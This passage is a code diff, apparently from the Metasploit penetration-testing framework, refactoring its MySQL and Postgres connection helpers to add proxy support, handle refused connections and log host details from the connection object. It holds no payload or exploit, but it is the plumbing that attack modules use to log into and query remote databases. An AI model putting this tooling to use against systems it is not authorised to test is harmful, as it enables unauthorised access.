vprint_status "#{rhost}:#{rport} MySQL - Disconnected"
|
||||
end
|
||||
|
||||
def mysql_login_datastore
|
||||
@@ -77,7 +86,7 @@ module Exploit::Remote::MYSQL
|
||||
|
||||
def mysql_query(sql)
|
||||
begin
|
||||
res = @mysql_handle.query(sql)
|
||||
res = mysql_conn.query(sql)
|
||||
rescue ::Mysql::Error => e
|
||||
print_error("MySQL Error: #{e.class} #{e.to_s}")
|
||||
return nil
|
||||
@@ -85,6 +94,8 @@ module Exploit::Remote::MYSQL
|
||||
print_error("Timeout: #{e.message}")
|
||||
return nil
|
||||
end
|
||||
|
||||
vprint_status "#{mysql_conn.host}:#{mysql_conn.port} MySQL - querying with '#{sql}'"
|
||||
res
|
||||
end
|
||||
|
||||
@@ -236,4 +247,3 @@ module Exploit::Remote::MYSQL
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -94,15 +94,16 @@ module Exploit::Remote::Postgres
|
||||
password = opts[:password] || datastore['PASSWORD']
|
||||
ip = opts[:server] || datastore['RHOST']
|
||||
port = opts[:port] || datastore['RPORT']
|
||||
proxies = opts[:proxies] || datastore['Proxies']
|
||||
uri = "tcp://#{ip}:#{port}"
|
||||
|
||||
if Rex::Socket.is_ipv6?(ip)
|
||||
uri = "tcp://[#{ip}]:#{port}"
|
||||
end
|
||||
|
||||
verbose = opts[:verbose] || datastore['VERBOSE']
|
||||
verbose = opts[:verbose] || datastore['VERBOSE']
|
||||
begin
|
||||
self.postgres_conn = Connection.new(db,username,password,uri)
|
||||
self.postgres_conn = Connection.new(db,username,password,uri,proxies)
|
||||
rescue RuntimeError => e
|
||||
case e.to_s.split("\t")[1]
|
||||
when "C3D000"
|
||||
@@ -115,9 +116,12 @@ module Exploit::Remote::Postgres
|
||||
print_error "#{ip}:#{port} Postgres - Error: #{e.inspect}" if verbose
|
||||
return :error
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused => e
|
||||
print_error "#{ip}:#{port} Postgres - Connection Refused: #{e}" if verbose
|
||||
return :connection_refused
|
||||
end
|
||||
if self.postgres_conn
|
||||
print_good "#{ip}:#{port} Postgres - Logged in to '#{db}' with '#{username}':'#{password}'" if verbose
|
||||
print_good "#{self.postgres_conn.address}:#{self.postgres_conn.port} Postgres - Logged in to '#{db}' with '#{username}':'#{password}'" if verbose
|
||||
return :connected
|
||||
end
|
||||
end
|
||||
@@ -126,14 +130,15 @@ module Exploit::Remote::Postgres
|
||||
#
|
||||
# @return [void]
|
||||
def postgres_logout
|
||||
ip = datastore['RHOST']
|
||||
port = datastore['RPORT']
|
||||
ip = self.postgres_conn.address
|
||||
port = self.postgres_conn.port
|
||||
verbose = datastore['VERBOSE']
|
||||
|
||||
if self.postgres_conn
|
||||
self.postgres_conn.close if(self.postgres_conn.kind_of?(Connection) && self.postgres_conn.instance_variable_get("@conn"))
|
||||
self.postgres_conn = nil
|
||||
print_status "#{ip}:#{port} Postgres - Disconnected" if verbose
|
||||
end
|
||||
print_status "#{ip}:#{port} Postgres - Disconnected" if verbose
|
||||
end
|
||||
|
||||
# If not currently connected, attempt to connect. If an
|
||||
@@ -144,15 +149,16 @@ module Exploit::Remote::Postgres
|
||||
# @param doprint [Boolean] Whether the result should be printed
|
||||
# @return [Hash]
|
||||
def postgres_query(sql=nil,doprint=false)
|
||||
ip = datastore['RHOST']
|
||||
port = datastore['RPORT']
|
||||
postgres_login unless self.postgres_conn
|
||||
unless self.postgres_conn
|
||||
return {:conn_error => true}
|
||||
result = postgres_login
|
||||
unless result == :connected
|
||||
return { conn_error: result }
|
||||
end
|
||||
end
|
||||
|
||||
if self.postgres_conn
|
||||
sql ||= datastore['SQL']
|
||||
vprint_status "#{ip}:#{port} Postgres - querying with '#{sql}'"
|
||||
vprint_status "#{self.postgres_conn.address}:#{self.postgres_conn.port} Postgres - querying with '#{sql}'"
|
||||
begin
|
||||
resp = self.postgres_conn.query(sql)
|
||||
rescue RuntimeError => e
|
||||
@@ -186,12 +192,11 @@ module Exploit::Remote::Postgres
|
||||
# Otherwise, create a rowset using Rex::Text::Table (if there's
|
||||
# more than 0 rows) and return :complete.
|
||||
def postgres_print_reply(resp=nil,sql=nil)
|
||||
ip = datastore['RHOST']
|
||||
port = datastore['RPORT']
|
||||
verbose = datastore['VERBOSE']
|
||||
return :error unless resp.kind_of? Connection::Result
|
||||
|
||||
if resp.rows and resp.fields
|
||||
print_status "#{ip}:#{port} Rows Returned: #{resp.rows.size}" if verbose
|
||||
print_status "#{postgres_conn.address}:#{postgres_conn.port} Rows Returned: #{resp.rows.size}" if verbose
|
||||
if resp.rows.size > 0
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Indent' => 4,
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user